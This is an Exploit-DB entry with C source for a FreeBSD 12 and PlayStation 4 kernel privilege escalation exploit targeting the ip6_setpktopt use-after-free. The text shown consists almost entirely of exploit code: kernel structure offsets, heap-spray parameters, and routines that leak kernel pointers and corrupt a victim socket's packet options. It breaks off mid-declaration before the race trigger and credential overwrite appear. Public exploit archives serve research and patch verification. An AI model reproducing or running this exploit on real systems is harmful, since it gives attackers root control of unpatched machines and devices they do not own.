Exploit-DB #48644
Description: Sony Playstation 4 (PS4) < 7.02 / FreeBSD 9 / FreeBSD 12 - 'ip6_setpktopt' Kernel Local Privilege Escalation (PoC)
Type: local
Platform: hardware
Date: 2020-03-21
Author: TheFloW

Exploit:
/*
  FreeBSD 12.0-RELEASE x64 Kernel Exploit

  Usage:
    $ clang -o exploit exploit.c -lpthread
    $ ./exploit
*/

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stddef.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#define _KERNEL
#include <sys/event.h>
#undef _KERNEL
#define _WANT_FILE
#include <sys/file.h>
#include <sys/filedesc.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/socket.h>
#define _WANT_SOCKET
#include <sys/socketvar.h>
#include <netinet/in.h>
#define _WANT_INPCB
#include <netinet/in_pcb.h>
#include <netinet/ip6.h>
#include <netinet6/ip6_var.h>

// #define FBSD12

#define ELF_MAGIC 0x464c457f

#define IPV6_2292PKTINFO 19
#define IPV6_2292PKTOPTIONS 25

#define TCLASS_MASTER 0x13370000
#define TCLASS_SPRAY 0x41
#define TCLASS_TAINT 0x42

#define NUM_SPRAY_RACE 0x20
#define NUM_SPRAY 0x100
#define NUM_KQUEUES 0x100

#ifdef FBSD12
#define ALLPROC_OFFSET 0x1df3c38
#else
#define ALLPROC_OFFSET 0xf01e40
#endif

#define PKTOPTS_PKTINFO_OFFSET (offsetof(struct ip6_pktopts, ip6po_pktinfo))
#define PKTOPTS_RTHDR_OFFSET (offsetof(struct ip6_pktopts, ip6po_rhinfo.ip6po_rhi_rthdr))
#define PKTOPTS_TCLASS_OFFSET (offsetof(struct ip6_pktopts, ip6po_tclass))

#define PROC_LIST_OFFSET (offsetof(struct proc, p_list))
#define PROC_UCRED_OFFSET (offsetof(struct proc, p_ucred))
#define PROC_FD_OFFSET (offsetof(struct proc, p_fd))
#define PROC_PID_OFFSET (offsetof(struct proc, p_pid))

#ifdef FBSD12

#define FILEDESC_FILES_OFFSET (offsetof(struct filedesc, fd_files))
#define FILEDESCENTTBL_OFILES_OFFSET (offsetof(struct fdescenttbl, fdt_ofiles))
#define FILEDESCENTTBL_NFILES_OFFSET (offsetof(struct fdescenttbl, fdt_nfiles))
#define FILEDESCENT_FILE_OFFSET (offsetof(struct filedescent, fde_file))
#define FILE_TYPE_OFFSET (offsetof(struct file, f_type))
#define FILE_DATA_OFFSET (offsetof(struct file, f_data))

#else

#define FILEDESC_OFILES_OFFSET (offsetof(struct filedesc, fd_ofiles))
#define FILEDESC_NFILES_OFFSET (offsetof(struct filedesc, fd_nfiles))
#define FILE_TYPE_OFFSET (offsetof(struct file, f_type))
#define FILE_DATA_OFFSET (offsetof(struct file, f_data))

#endif

#define KNOTE_FOP_OFFSET (offsetof(struct knote, kn_fop))
#define FILTEROPS_DETACH_OFFSET (offsetof(struct filterops, f_detach))

#define SOCKET_PCB_OFFSET (offsetof(struct socket, so_pcb))
#define INPCB_OUTPUTOPTS_OFFSET (offsetof(struct inpcb, in6p_outputopts))

int kqueue(void);
int kevent(int kq, const struct kevent *changelist, int nchanges,
           struct kevent *eventlist, int nevents,
           const struct timespec *timeout);

static uint64_t kernel_base;
static uint64_t p_ucred, p_fd;
static uint64_t kevent_addr, pktopts_addr;

static int triggered = 0;
static int kevent_sock, master_sock, overlap_sock, victim_sock;
static int spray_sock[NUM_SPRAY];
static int kq[NUM_KQUEUES];

static void hexDump(const void *data, size_t size) {
  size_t i;
  for(i = 0; i < size; i++) {
    printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');
  }
  printf("\n");
}

static int new_socket(void) {
  return socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
}

static void build_tclass_cmsg(char *buf, int val) {
  struct cmsghdr *cmsg;

  cmsg = (struct cmsghdr *)buf;
  cmsg->cmsg_len = CMSG_LEN(sizeof(int));
  cmsg->cmsg_level = IPPROTO_IPV6;
  cmsg->cmsg_type = IPV6_TCLASS;

  *(int *)CMSG_DATA(cmsg) = val;
}

static int build_rthdr_msg(char *buf, int size) {
  struct ip6_rthdr *rthdr;
  int len;

  len = ((size >> 3) - 1) & ~1;
  size = (len + 1) << 3;

  memset(buf, 0, size);

  rthdr = (struct ip6_rthdr *)buf;
  rthdr->ip6r_nxt = 0;
  rthdr->ip6r_len = len;
  rthdr->ip6r_type = IPV6_RTHDR_TYPE_0;
  rthdr->ip6r_segleft = rthdr->ip6r_len >> 1;

  return size;
}

static int get_rthdr(int s, char *buf, socklen_t len) {
  return getsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, &len);
}

static int set_rthdr(int s, char *buf, socklen_t len) {
  return setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
}

static int free_rthdr(int s) {
  return set_rthdr(s, NULL, 0);
}

static int get_tclass(int s) {
  int val;
  socklen_t len = sizeof(val);
  getsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, &len);
  return val;
}

static int set_tclass(int s, int val) {
  return setsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, sizeof(val));
}

static int get_pktinfo(int s, char *buf) {
  socklen_t len = sizeof(struct in6_pktinfo);
  return getsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, &len);
}

static int set_pktinfo(int s, char *buf) {
  return setsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, sizeof(struct in6_pktinfo));
}

static int set_pktopts(int s, char *buf, socklen_t len) {
  return setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, buf, len);
}

static int free_pktopts(int s) {
  return set_pktopts(s, NULL, 0);
}

static uint64_t leak_rthdr_ptr(int s) {
  char buf[0x100];
  get_rthdr(s, buf, sizeof(buf));
  return *(uint64_t *)(buf + PKTOPTS_RTHDR_OFFSET);
}

static uint64_t leak_kmalloc(char *buf, int size) {
  int rthdr_len = build_rthdr_msg(buf, size);
  set_rthdr(master_sock, buf, rthdr_len);
#ifdef FBSD12
  get_rthdr(master_sock, buf, rthdr_len);
  return *(uint64_t *)(buf + 0x00);
#else
  return leak_rthdr_ptr(overlap_sock);
#endif
}

static void write_to_victim(uint64_t addr) {
  char buf[sizeof(struct in6_pktinfo)];
  *(uint64_t *)(buf + 0x00) = addr;
  *(uint64_t *)(buf + 0x08) = 0;
  *(uint32_t *)(buf + 0x10) = 0;
  set_pktinfo(master_sock, buf);
}

static int find_victim_sock(void) {
  char buf[sizeof(struct in6_pktinfo)];

  write_to_victim(pktopts_addr + PKTOPTS_PKTINFO_OFFSET);

  for (int i = 0; i < NUM_SPRAY; i++) {
    get_pktinfo(spray_sock[i], buf);
    if (*(uint64_t *)(buf + 0x00) != 0)
      return i;
  }

  return -1;
}

static uint8_